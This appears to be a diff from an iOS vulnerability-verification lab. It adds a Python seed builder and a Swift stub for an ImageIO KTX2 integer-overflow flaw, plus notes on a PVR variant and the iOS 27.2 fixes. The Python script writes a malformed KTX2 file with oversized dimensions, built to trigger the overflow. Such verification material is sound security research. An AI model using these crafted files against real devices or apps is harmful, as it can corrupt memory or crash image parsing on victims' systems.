Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source

CVE-2026-112625/CVE-2026-112625.py

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+#!/usr/bin/env python3
+# iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
+# 原语: 整数溢出 · 进程内 | Primitive: integer overflow · in-process
+#
+# [zh] KTX2 维度/层级尺寸运算
+# KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护，且既有检查所依据的量本身是错的（使用 channels 而非源 bpp）。27.2 增加 \"image
+# dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。
+#
+# [en] KTX2 dimension and level size arithmetic
+# KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing
+# check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image
+# dimensions overflow" and "expected %llu bytes" gates.
+#
+# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
+# 触发器（run 闭包）与非种子构建器: 同目录 CVE-2026-112625.swift
+# triggers (run closures) & non-seed builders: CVE-2026-112625.swift in this folder
+
+import struct
+
+
+# --------------------------------------------------------------------------- KTX2
+def build_ktx2():
+    ident = bytes([0xAB, 0x4B, 0x54, 0x58, 0x20, 0x32, 0x30, 0xBB, 0x0D, 0x0A, 0x1A, 0x0A])
+    vk_format = 0            # 0 => block-compressed via DFD
+    type_size = 1
+    w, h = 0xFFFF, 0xFFFF
+    depth, layers, faces, levels = 0, 0, 1, 1
+    scheme = 0
+    kvd_off, kvd_len = 0, 0
+    sgdt_off, sgdt_len = 0, 0
+    header = struct.pack("<9I", vk_format, type_size, w, h, depth, layers, faces, levels, scheme)
+    header += struct.pack("<IQ", kvd_off, kvd_len)
+    header += struct.pack("<IQQ", sgdt_off, sgdt_len, 0)
+    # level index: one level, claiming a tiny byteOffset/byteLength
+    level_index = struct.pack("<QQQ", 0, 0, 64)
+    body = b"\x00" * 64
+    return ident + header + level_index + body
+
+
+# --------------------------------------------------------------------------- DDS BC7
+
+if __name__ == "__main__":
+    import sys
+    out = sys.argv[1] if len(sys.argv) > 1 else "ktx2_bad_dims.ktx2"
+    open(out, "wb").write(build_ktx2())
+    print("wrote", out)

CVE-2026-112625/CVE-2026-112625.swift

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+// iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
+// 原语: 整数溢出 · 进程内 · tier 2
+// Primitive: integer overflow · in-process · tier 2
+//
+// [zh] KTX2 维度/层级尺寸运算
+// KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护，且既有检查所依据的量本身是错的（使用 channels 而非源 bpp）。27.2 增加 \"image
+// dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。
+//
+// [en] KTX2 dimension and level size arithmetic
+// KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing
+// check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image dimensions
+// overflow" and "expected %llu bytes" gates.
+// ── 判别 / oracle ──
+// 维度 0xFFFF×0xFFFF，层级索引声明 64 字节。
+//  变体 iio.pvr: PVR 位深低于通道位和
+//
+// 种子构建器（python，可直接运行）: CVE-2026-112625/CVE-2026-112625.py
+// runnable python seed builder: CVE-2026-112625/CVE-2026-112625.py
+
+import Foundation
+
+// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+enum B {
+    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
+    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
+    static func be32(_ v: UInt32) -> [UInt8] {
+        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
+    }
+    static func le32(_ v: UInt32) -> [UInt8] {
+        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
+    }
+    static func be64(_ v: UInt64) -> [UInt8] {
+        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
+    }
+    static func le64(_ v: UInt64) -> [UInt8] {
+        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
+    }
+    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
+    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
+    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
+}
+
+/*
+// iio.pvr · ImageIO · PVRReadPlugin::initialize · CVE-2026-112625
+// 原语: 整数溢出 · 进程内 · tier 3
+// Primitive: integer overflow · in-process · tier 3
+//
+// [zh] PVR 位深低于通道位和
+// 各通道位数之间的相互匹配检查早已存在，但缺少 bitsPerPixel 相对通道位和的下界比较。27.2 补入 \"_bitsPerPixel %d is too small for 4 channels
+// of %d bits\"。
+//
+// [en] PVR bits-per-pixel below the channel bit sum
+// The mutual consistency check between channel bit widths has always been present, but there is no
+// lower bound comparing bitsPerPixel against the sum of channel bits. iOS 27.2 adds "_bitsPerPixel
+// %d is too small for 4 channels of %d bits".
+*/
+
+
+